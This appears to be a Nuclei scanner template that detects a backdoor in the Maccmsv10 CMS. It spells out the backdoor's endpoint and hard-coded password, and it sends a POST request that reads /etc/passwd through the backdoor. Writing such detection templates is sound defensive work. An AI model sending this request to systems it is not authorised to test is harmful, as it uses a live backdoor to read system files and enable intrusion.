id: maccmsv10-backdoor

info:
  name: Maccmsv10 - Backdoor Remote Code Execution
  author: princechaddha
  severity: critical
  description: Maccmsv10 contains a backdoor which can be exploited by remote attackers. The backdoor is accessible via the '/index.php/bbs/index/download' endpoint and the special 'getpwd' parameter value of 'WorldFilledWithLove'. Exploitation of this vulnerability will allow remote attackers to execute code.
  reference:
    - https://github.com/chaitin/xray/blob/master/pocs/maccmsv10-backdoor.yml
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 1
  tags: maccmsv10,rce,backdoor

http:
  - method: POST
    path:
      - "{{BaseURL}}/index.php/bbs/index/download?url=/etc/passwd&name=1.txt&local=1"

    body: "getpwd=WorldFilledWithLove"

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "扫描后门"
          - "反弹端口"
          - "文件管理"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022006dcc9a95ea33ea1fff679d9959f1545947130b8fd97df4773454882e6960c0e0220727b2b621cf381a7de7a207dab1c075deecdb92ae853d1e69b1116a03c50126b:922c64590222798bb761d5b6d8e72950